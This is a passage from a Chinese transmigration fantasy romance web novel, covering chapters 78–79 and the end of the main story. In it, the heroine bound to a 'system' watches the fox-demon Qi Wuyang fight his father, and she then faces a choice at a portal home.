正困惑之际,一旁的扁平脸又踹了他一脚,冷冷地道:“主上为何还同他废话?赶快剖了他取丹便是。” 这二字一出,卓子墨眼皮剧烈一跳,一丝不加掩饰的惊慌从眼中露出。 取丹?莫不是要取他的? 但此人的灵力高深莫测,当今能与之抗衡的,恐怕只有祁无恙一人。那么他要自己的灵丹究竟要做什么? 然而,没等他想明白,那人便沉沉地开了口:“听闻流云宗有两位少主,可卓不凡却偏偏只对你器重有加,不想知道为什么吗?” 这一句戳t中了心扉,卓子墨呵道:“你休要胡言?子寻只是修习方面天赋欠缺,但不代表父亲就偏心于我……” 紫袍人冷笑一声,道;“区区一个资质平庸的凡人,该不会以为他这么做真的是因为你天赋卓绝吧?呵,我可提醒你,你和‘天赋’毫无关系,他对你偏爱了这么多年,也都是另有所图。” “你胡说!”卓子墨猛地跳起来,手背上青筋顿起。愤怒使他几乎忘了自己处于劣势,歇斯底里地喊道:“你懂什么?一个连面都不曾见过的人,有什么资格来评价我父亲,评价流云宗?你要杀便杀,若不杀,那便等我伤愈之后,来杀你们!” 话未说完,他忽地感到整个人悬在空中,半点声音也发不出来。紫袍人狠狠扼住他的咽喉,阴沉的眸子近在咫尺:“我已经说得很清楚了,你也不必着急,不管信或是不信,你今日都是要死的。” 声音一落,殿内烛火骤然熄灭,卓子墨只觉眼前陷入一片黑暗,紧接着便彻底失去了意识。 * 窗外,风声呼啸,枝叶随之在夜色中乱颤,仿佛无数鬼魅张牙舞爪地扑来。 她的梦里,也是这般景象。 徐颂禾看着面前朝自己围来的面容可怖、姿态扭曲的鬼魂,却感受不到半点恐惧。她知道自己是在做梦,只是不清楚该怎么逃出去。 那些东西越来越近,她往后退了一步,听见系统冰冷的声音响在耳边:“这不是梦,而是警醒。鉴于宿主近期消极对待任务,有必要让你知道,如果不慎在小说世界死亡,就会永远被困于这样的‘梦境’之中。” 这家伙真是讨厌极了! “完不成任务和死亡是两码事吧?我再怎么样也不会想不开找死。” 徐颂禾现在一听到系统的声音就懊悔得不能自已,一开始如果没有在去实习公司的路上出车祸,也不会穿越到这个地方来,受这莫名其妙的气。 身后是冰凉的墙面,那些触手眼看就要碰到身上,情急之下,她一面使劲扒拉缠在手上的的东西,一面艰难地喊道:“快放我出去……” “阿禾。” 周围刹那间恢复平静,只听见一个又急又轻的声音正唤着自己。徐颂禾从那恐怖的梦中摆脱出来,眼前一片朦胧,她还没经过思考,便伸手抱住了少年的脖颈。 那种虚无的感觉太不好受了,她急切地想要触碰一切能被感知的事物,只有这样才能证明自己现在还好好地活着。 “阿禾,怎么了?”他轻声问,似乎对少女突如其来的热情受宠若惊。 徐颂禾低下头,将脑袋趴在他肩上,吸了吸鼻子:“我做噩梦了。” 或许是刚被吓醒,那声音迷迷糊糊的,惹得他心底一软。 祁无恙环在她腰后的手迟疑了一瞬,才轻轻收紧,温声哄她:“梦里吓唬你的人长什么模样?把它画出来。” 明知道刚才看见的那些短时间内都不会发生,她也谈不上多害怕,只是胸口不知为何堵得慌。徐颂禾盯着他递过来的纸笔,有些不明所以,但还是依言把那些东西画了出来。 下一秒,他抬指一叩,一簇火苗从指尖冒出,将那张纸烧得干干净净。 徐颂禾微微睁大眼,说来也奇怪,方才那股压抑得喘不上气的感觉立刻就消失了,脑海中那些鬼影的痕迹也逐渐淡去。她望着落在案上的纸灰,愣了愣才抬头看他:“你再给我一张。” 她接过纸,低着头思索了片刻,才下笔在上面画了一个长方形的东西,顺便在旁边写下了用拼音标注的“系统”二字。 “好啦,”她把纸递给他,眼里闪烁着兴奋,“再来一次。” 祁无恙看了眼纸上陌生的字符,不明白她为什么会被一个看上去平平无奇的东西吓到。他听话地接过来,火苗重新燃起的瞬间,那张纸却又被抢了回去。 “算了算了,”徐颂禾赶紧把纸揉做一团,“万一真把它烧没了,我可就回不了家了。” “你说的‘家’,在哪里?”他问道。 于是,原本叽叽喳喳的少女安静下来,认真地注视他,似乎在斟酌着该怎么和他解释。 “我可以……看一看吗?”他的声音第一次听得出紧张。 最开始时,他只当她是个连灵丹都没有,无家可归,整日跟着他的麻烦精,可现在,他好奇有关她的一切,好奇那个让她终日挂在嘴边,念念不忘,而他从未见过的“家”。 她总是要走的,那他呢?他和那个地方的人格格不入,她会愿意接纳他吗? “当然啦,等一切都安稳后,我们一起回去。”少女声音轻快,一双眼睛总是亮晶晶的,烛火穿透披在肩头乌黑的长发,落到长睫掩映之下的眼底,为她缀上一层朦胧的轮廓。她的身影渐渐被拉长,影影绰绰的,又那么柔和。 “我告诉你呀,那个世界里的夜里不用点蜡烛,只要按一下开关,电灯就能把屋子照得和白天一样;也没有御剑飞行,只需要坐在四四方方的小车里,就能去到任何想去的地方,刮风下雨也不怕……” 徐颂禾喋喋不休地和他形容自己以前的生活,他也偏过头,专注地看过来,好像恨不能把她此刻的一颦一笑都刻进眼里。 说到激动处,她却忽地止住话头,出神地看向窗外。 系统不会无缘无故让她做那样的梦,难道是在暗示她,她马上就要死了吗? 但是,它可没说过有“完不成任务就会死”这一条啊…… 她捂住心口,声音中透着不安:“我还是觉得不对劲,卓子墨离开已经有好几个时辰了,他为什么还不回来救他的弟弟?该不会是出了什么事吧?” 祁无恙眼神黯了黯,他也想问,为什么方才聊得好好的,却非要提到那个人。 “我说了,阿禾不想让他死,”他笑了笑,说:“我就不会让他死。” “你骗人的吧?”徐颂禾抬了抬眼皮,扫他一眼,“你说,你是不是故意不杀他,又故意把他放出去的?” 他微微一顿,眼底闪过一丝诧异:“我没有……” “哎,我就是问问,看你紧张的,”她伸手拍了拍他的肩,指尖触到他微凉的衣料,语气又软下来,“你这么做,是不是为了引出什么人?其实你不用瞒着我的,我要是真的不认可你的做法,就不会在你身边待这么久了,就算死我也要逃走的……” “别、别说。” “死”这个字仿佛刺痛了他,少年眼瞳里的黑暗吞没了温和的烛光,失控的慌乱从中溢出。他急切地抱住她,惶恐的声音中带着满腔痴恋:“别提这个,阿禾,我不可能让你死的。”《 》 第79章 正文完 第79章 正文完 “好吧好吧, 我不提就是了,”她被抱得很紧,只能勉强伸出一只手来, 轻拍了下他的后背, “你先松开我一点……” 徐颂禾从他怀里挣出来, 正襟危坐地看着他:“可是,卓子墨那边,真的不会有事吗?” “不会, ”他漫不经心地说, 手指有意无意地缠住她的发丝, “不过,阿禾能不能告诉我, 如果不喜欢他,又为什么要如此在意他的生死?” “我说了啊, 他是我朋友,”徐颂禾瞪他一眼, 又叹口气,“哎, 你这人怎么老不信我呢?” 他淡淡一笑:“我只是不明白, 为何朋友也要关心到这种地步。或许是因为像我这样的人,从来没有朋友,除了你, 也不会有人愿意接近我……” “打住打住。”她半跪着直起身子, 在他手臂上狠狠一掐, 这一下一点没客气,硬是在那上面留下了一个红色的印记。 少年微微一愣,望向她时, 眸中稍有错愕。 “你这样的人,是什么样的人?”徐颂禾没好气地说,“我告诉你,你除了长得好看,会变成狐狸之外,和正常人没什么区别。你说说,明明杀的都是那些找上门来要杀你的人,甚至还放了他们好多次,却从不解释,就这样背负一个‘魔头’、‘妖孽’的名号那么多年,谁能不害怕你呀?你自己都不在乎,别人又怎么会在乎?” “……你生气了?” 徐颂禾正气在头上,顺口说道:“是啊,我就是在气你。你分明就很好,为什么总要把自己包装成一副生人勿近的样子?你也可以试着卸下防备,去接近你喜欢的人……” “当真?”他忽然倾身,微凉气息擦过她的耳畔,灼灼目光似要洞穿她的心脏,“可我现在已经做到了。” 徐颂禾懵了一下,反应过来是什么意思后,耳尖t腾地烧了起来,连带着脸颊都泛了薄红。她猛地偏头躲开他的气息,手忙脚乱地撑着身往后退了点,说话都不利索了:“对,就、就是这样,但也不一样,反正你就……” 这个人到底是从哪里学的这些啊?再怎么说,她也是在现代社会长大的,没吃过猪肉至少还见过猪跑呢,怎么这种时候,在他面前反倒像个新兵蛋子。 她抬起头,望了那双含着笑意的眼睛很久。 扪心自问,她的的确确是喜欢他的,要不然也不会做这么多无关系统任务的事。于是,徐颂禾开始自我催眠,他们现在算是在谈恋爱了,偶尔亲一亲抱一抱,或者说两句情话,也都是正常的。 “要不……还是去看看吧,”徐颂禾按住他的手,忐忑地说∶“兔子本身就跑不快,他又受了伤,应该跑不远的。” “好啊,”他笑了笑,出乎意料地答应了,只有视线不紧不慢地从她身上扫过,“只不过,你最好穿厚点。” 徐颂禾闻言蹙了下眉,望了望窗外。六月飞雪本是极不寻常的异象,现在已消去不少,那股瘆人的含义也一并消失了。 “又不冷,穿那么厚干什么?” “夜里常有小鬼出没,你没听说过么?”祁无恙又离她更近些,轻轻一笑:“那小鬼喜欢吃人,尤其像你这样没有灵丹的,最合他们胃口。” 徐颂禾身子颤了一下,但她想一定是因为他离自己太近了,说话时喷洒在耳旁的气息弄得全身痒痒,绝不是出于害怕。 她结结巴巴地问:“你该不是骗我的吧?穿厚一点,难道它们就不吃我了吗?” 少年勾勾唇,一脸无奈地摊开手:“没记错的话,能让你在临死前免受些皮肉之苦。” 他顿了一下,微微偏头,像是欣赏够了她那副被吓得发呆的模样后,才不紧不慢地补刀:“不过,我认为这点困难应当不在话下,毕竟在你眼里,那位卓少主的性命更为重要,不是吗?” 说什么死过一次之后就知道珍惜,那都是鬼话!这家伙现在还是这么不懂得怜香惜玉,坐视不理也就罢了,居然还有意刺激她,想让她去喂小鬼。 “那我不去了,”她摆摆手,又窝窝囊囊地躺回去,顺手裹紧了被子,“我刚才想了一下,你不是说,不会有什么事的吗?那就明天再去找他也不迟。” ……她还真是一点没变,和以前一样胆小。 不过也好,省得他再多费口舌。 祁无恙俯身替她掖好被角,站立在床榻前,凝视了她良久。 “阿禾,我……” 话未出口,便听见屋内轻浅的呼吸。 竟这么快就睡着了。 没关系,等她醒来,那些碍事的东西,一个都不会存在了。 他转过身,少女清脆的声音却突兀地响起: “天天警告警告,黑化值上升一点怎么了?也没见他就要毁灭世界了呀。没你事的时候就安静点吧,如果总是有人无缘无故要你去死,你气不气?” 祁无恙骤然僵住,缓缓回过身,望向榻上的人。 “……阿禾?” 他动了动唇,试探着唤。 徐颂禾裹着被子翻了个身,口中无意识低喃,却并未回应。 她尚在熟睡中,那方才说话的是谁? 祁无恙收回目光,面无表情地上前,抽出那张不知何时被她压在身下的录音符。 他早已在她身上藏下符纸,为的只是防住卓子墨会趁他不在时潜入带走她,那么那句话,是她对那个人说的吗? 失落、愤恨,还有一丝连他自己都未察觉的委屈,像有千斤重,沉沉压在心口,闷得他几乎喘不过气。 他从未在意过任何人、任何事,而她不经允许,就这般带着明媚笑意闯入他的生活,却又如换了个人般,没有任何缘由地抛下他,转身便要和那姓卓的共度一生。 为什么? 他问过一次,便不敢再问了。曾经所有人都视他为妖魔,恨不能生啖血肉,因此他那时并未对她完全放下戒备。她不在的那段时日里,他没有一刻不在后悔,为什么不能信任她,为什么要在她主动拥抱自己时推开她,为什么没能护好她…… 现在想来,阿禾对他的疏远,似乎也并不突然。 不过这一切归根结底还是那个人的错,只要卓子墨一死,便再没人能挑拨他们了。 便在此时,那略带愤怒声音再度响了起来:“我就不做你的任务!祁无恙他是一个活生生的人,不是一串冰冷的数字,我之所以留在这,是因为信了你说的他会死,我想改变,我希望他好好的。至于他杀了谁,黑化值多高,都和我没有关系,他不是让我回家的工具。” 那一瞬间,他的身体仿佛被定住了,目光一瞬不瞬地盯着毫不知情的少女。 她……没有去见卓子墨。 但她在和谁说话?那黑化值又是什么?似乎还和她回家有关…… 他微微抬首,那双浸没在黑暗中的眼眸轻轻一动,像有人往死水里投了一块石头,掀起一阵波澜。 她之前坦白过,一开始接近他,就只是为了回家。他不傻,猜也猜的出“黑化值”是什么东西。 祁无恙甚至不知该如何形容当下的滋味,他虽不像世人口中的弑杀成性,但也算不上什么好人,手上沾过的鲜血更是无数,要完成她所说的“任务”,恐怕只有让他死了。 若是放在从前,生或死,他都无甚所谓,但现在,他居然舍不得了。 他是自私的,可她那么想回家,他又怎么忍心让她失望,让她舍弃那些爱她的亲人呢? 少年久久伫立床前,带着无限眷恋与不舍,轻轻吻了吻她的额头。 * 卓子墨是被身上传来的一阵剧痛疼醒的,他掀起沉重的眼皮,看向束缚在自己手腕脚腕上的铁链,脸色顿时变得煞白。 “你究竟想做什么?” 那紫袍人斜斜倚着身子,浑身沉沉煞气,闻言目光蓦地斜射过来,紧随着一枚银针从手中飞出。 未料到对方会突然动手,卓子墨一双眉毛霎时拧紧,肩膀重重一颤,还没来得及发出声音,一只手便狠狠按在伤口上,毫不留情地碾了下去。 骨缝里钻心的疼瞬间炸开,他喉间溢出一声闷哼,额角冷汗涔涔,却硬是没发出半分求饶的声响。 “你同那祁无恙,是什么关系?”对方那双黑洞洞的眼睛从面具下望出来,冷声问道。 卓子墨低下头,涨了张口,鲜血便控制不住地沿着嘴角流出,“他杀我同门,又囚禁我多日,你说我们是什么关系?” 他方才悄悄试探过,除祁无恙之外,这世上竟还存在灵力如此高深莫测之人。若他们是一伙的,恐怕他今日便要命绝于此。 紫袍人嗤笑一声:“你的灵丹已经被我剖出,就算不死,从今往后也只能是个废人。不过有件事我可以告诉你,我和你一样,想让祁无恙,不,想让所有人去死。” 卓子墨惊诧地抬起头,这么一句话竟还令他心中生出那么一丝宽慰。 “我一个平庸之辈,要了我的灵丹又有何用?”他咳着血,声音沙哑却又字字清晰:“祁无恙眼下灵力已被削去大半,你若是有本事,现在便去杀了他。” “激将法对我可没有用,”紫袍人冷哼一声,道:“不过你也不必担心,他很快就会来了,我会让你亲眼看见他们是如何死在我手下的。” “为什么是他们?”卓子墨几乎脱口而出,意识到什么后,一阵恶寒从心底升上来,他怒吼道:“亏我还道你只是与祁无恙有仇,竟连一无辜女子都不放过!阿禾又何时得罪过你,为何不能放她一条生路?” 他这一生从未有过什么成就,今日死便死了,也不足为惜。但阿禾不一样,她是这世上最好的姑娘,就该被人捧在手心护着,安安稳稳过一生。 话音未落,腹部猛地被人狠狠一踹,师清羽阴沉着脸,扼住他的脖颈:“怎么和我们主上说话的?若是现在识相点,没准还能留你个全尸。” 卓子墨浑身近乎动弹不得,却仍死死瞪着对方,倔意在眼中愈燃愈旺。 “够了,”紫袍人按下他的手,叹道:“将死之人,不必理会。” “是。” 师清羽朝他拱了拱手,道:“时辰将近,灵丹完好无损,仪式可以开始了。” “我交给你的事,办的如何了?”紫袍人声音平淡,却莫名令人不寒而栗。 师清羽脸色略显愧疚∶“是属下办事不利,没想到那祁无恙如此难t对付,我……” 紫袍人神色一凛,视线直望向他的手∶“他把你打伤了?” 话音方落,衣袖瞬间被掀开,只见那手臂上赫然是数道深可见骨的抓痕,紫袍人沉下脸,将手从上拂过,那伤痕便很快愈合了,只是还留下了些疤。 师清羽缩回手,道∶“属下无能,死不足惜,不值得劳烦主上费心。” “他在何处?”紫袍人目光冷冷地从奄奄一息的卓子墨身上扫过,“你不是说,他的灵力已远不如从前了么?怎么,你和他是一伙的?” 未等卓子墨开口,他便伸手凌空一抓,冰冷的呼吸喷洒在对方惨白的脸上,“知道耍我的人会是什么下场吗?” “主上,他已经来了。” 师清羽一反常态,竟打断了他的话。 紫袍人收回手,道∶“山下机关重重,谅他再怎么有本事,也休想轻易闯到这。” “看来,这么多年不见,主上对他依旧了如指掌。”师清羽淡淡一笑,忽然说了句意味不明的话。 紫袍人朝他投去一瞥,蓦地沉下脸,径直从他身旁走过∶“看好他,宁愿杀了也别放过。” “是,”师清羽笑了笑,漫不经心道∶“那对您亲儿子呢?也要如此吗?” 紫袍人脚步猛地顿住,脸色更沉,但他并未停留太久,旋即转身离去。 石门在紫袍人身后沉重地合拢,发出闷响。卓子墨瞳孔一震,心头疑惑和身体上的剧痛交织着。 听此言,难道这紫袍人和祁无恙竟是父子?虎毒尚不食子,他又为何要…… 师清羽垂眸冷冷看着他,片刻后,俯身似乎是想解开他的锁链。倏然间,一支箭矢毫无征兆地从角落阴影中射出,他不慌不忙地往后一闪,顺势将那条锁链提起,只听咔嚓一声,铁链瞬间断成了两截。 一人负手从阴影中转出,面色阴沉∶“你在做什么?” 师清羽平静地望着他,笑道∶“主上躲在暗处,是有意监视我么?” 紫袍人冷笑一声,二话不说便举剑径直朝他刺来。 对方从容不迫闪身避过,指尖凝起一道白光,瞬息之间,那柄剑便从中间断了开来。 师清羽的面庞如一层薄雾般散开,取而代之的是一张清秀隽丽的脸。 少年冲他微微一笑,弹指之间,随着一道阴影落下,一个浑身鲜血的人踉踉跄跄地奔了出来。 “主、主上,不要相信他……”师清羽没能支撑太久,“扑通”一声又跪倒在地,颤声道∶“我被他所重伤,您快取出我的灵丹,这是我能做的最后一件事了。” 紫袍人视线滑到他被洞穿了的胸口上,伤口已经血肉模糊,正汩汩流出血。他缓缓收回目光,望向面前的少年,忽地勾唇笑了∶“不愧是我的好儿子,竟瞒得了你爹我这么久,也算没让我失望。” “您却让我失望得很,”祁无恙望了眼地上气若游丝的人,淡淡道∶“我身上的诅咒,是你干的吧?真是委屈他了,临死前还当了那么久的恶人。” 紫袍人不置可否,他抬手让一旁的卓子墨重新晕了过去,随后摘下面具,那张遍布皱纹的脸上,依旧不难看出年少时的俊朗轮廓,一双黑眸幽深难测。 “中了我的诅咒还能活到现在,看来我是小瞧你了,”他微笑道∶“我现在需要什么,你应当最清楚不过。那丫头没有灵丹在身,身上更是没有一丝灵力,只要你杀了她,我可以念父子之情,给你一条活路,该怎么做,你自己选。” “是吗?”祁无恙几乎要冷笑出声,目无波澜地望着他,眼底泛起一阵微不可察的杀意∶“意思就是没得选。” 紫袍人脸上的笑容淡了些,冷冷道∶“如此说来,你是执意要与为父拼个你死我活了?” 少年没有回答,只是平静地注视着那张充满阴鸷的脸。 眼前这个人,也曾笨拙地温声哄他,也曾在每一次外出“打猎”时,口袋中装满他喜爱的物品。 只可惜,那些记忆太过久远,远到如果不是记忆中的人再次出现,他几乎要忘记对方的容貌。 从小得到的父爱全都出于算计,只有她,只有她总是弯着一双笑眼,不管不顾地抱着他,对他说喜欢。 祁无恙眼神黯了黯,不知等她回到那个“家”后,还会不会记得他。 你死我活吗? 不,今天恐怕他们都得死,他不会容许在自己走后,还有任何一个威胁她性命的人存在这世上。 * “……祁无恙?”徐颂禾迷迷糊糊间睁开眼,伸手往旁边摸去,却发现这屋子里只剩了她一人,“我怎么突然睡着了?” 她走到门边,用力拉了下门,却毫无反应,一股无名之火忽然从心头升起来。 “干嘛又整这出?”她愤愤地说,“不是说好了,以后都要相信我的吗?又把我关起来算怎么回事呀?” 话音未落,余光忽地闪过一道黑影,她还来不及思考,便被一阵风掀倒在地,无措地望着出现在窗户旁的一团黑烟。 那东西长得压根不像个人,难道说虽然她没出门,但还是有鬼找上门来了吗?但现在可是白天呀! 徐颂禾胡乱抓起桌上的笔,笔尖对着它∶“你、你别过来,我手里的可不是普通的笔,你要是敢害我,我就对你不客气了!” 那团黑烟不仅没被她这番毫无威胁的话吓到,反而还如同突然活过来一般,生出双手双脚,迅速朝她扑来。 徐颂禾紧紧闭上眼,握着手上的笔对着空气一通乱挥,直到手臂酸痛也不敢松懈。 忽然间,耳边响起砰的一声,她迟疑了一下,缓缓睁开一只眼,竟看见那团黑影已经消失不见了,而那把一直静静躺在角落里的弓箭此刻断成了两截,还不断有淡淡黑烟冒出。 她还未从惊吓中缓过劲来,脑海中便立刻浮现出一个身影∶“祁、祁无恙,是你吗?” 等了许久,无人回答。 正疑惑间,那扇被锁住的门忽然打开了一条缝,像是被风吹开的,隐约还能看见一簇红色的毛,影影绰绰的。 “恭喜宿主,任务对象已抹除,黑化值清零,现在为您开启传送门。” ……谁被抹除了? 徐颂禾怀疑自己听不懂人话了,脑子刹那间一片空白。 “吱呀——” 那扇门悄然无声地敞开了,她怔怔地抬起头,看见一个红色的身影正缩成一团,安安静静地趴在门边。 她咽了咽干涩的喉咙,双腿软得几乎走不动路。半晌,她才艰难地挪过去,随后在那狐狸身旁蹲下,用手轻轻戳了戳它柔软的毛。 狐狸耳朵耷拉了下来,这一动,却令它身上流出更多血来。 还好,还有呼吸。 “谁说他死了?这不是还好好的吗?” 少女小心翼翼地抱起它,一点一点替它擦去毛发上的血渍。不知是不是因为伤得太重,它这一次的体型更加瘦小了,她抱起它时,甚至不需要用太多的力气。 系统催促她∶“他已经活不了多久了,任务已经完成,还请宿主尽快返回。” 什么叫活不了多久? 为什么祁无恙一出事,她的任务就结束了?难道降低黑化值的唯一办法,就是他身死吗? 徐颂禾眨了下湿润的眼睛∶“我说了,他不是我回家的工具……” “那宿主就愿意永远留在这个地方吗?” 她愣了愣,一时不知该如何作答。 门外那条小路上,洒满了蜿蜒的血迹,他撑着虚弱的身体,一步一步走回来,只是想确认她是不是还好好的。 窗台上尚存着未干的血渍,她甚至能想象得出,他是如何跳到窗户上,想在最后一刻再看她一眼的。 “他没有死,”少女摇了摇头,执拗地说∶“我会等他,然后带着他一起回去。如果他最后真的会死,那我也要给他一个好归宿。” 系统又说∶“他现在基本没有了以前的记忆,相当于已经不是原来的祁无恙了,你留下来陪着他,也于事无补。” “我带他一起走,”良久的沉默后,她轻声说∶“不管怎么样,我相信他会高兴的。” 传送门的光很快吞噬了她的身影,徐颂禾抱紧了怀中的狐狸,心道现在医术那么发达,肯定有办法救活他的。 但那狐狸挣了一下,竟硬生生从她手中跳了出来,重重摔在了地上。 她愣了一下,急得伸手去抓∶“哎,你怎么……” “他不属于另一个世界,跟去了也不会有好结果,”系统声音冷冷,“传送门即将关闭,请宿主做好准t备。” 地上的狐狸用尾巴将自己围起来,只有两只眼睛眨也不眨地看过来。徐颂禾杵在原地,觉得心脏都被人揪紧了。 不如就算了吧…… 一道落寞又带着挣扎的声音在脑海中响起。 在原著里,他也是同样的结局,不管有没有她,他都是会死的…… 徐颂禾闭了闭眼,最终选择眼睁睁看着传送门的缝隙越来越小,直至那白色的光芒消失殆尽—— 正文完《 》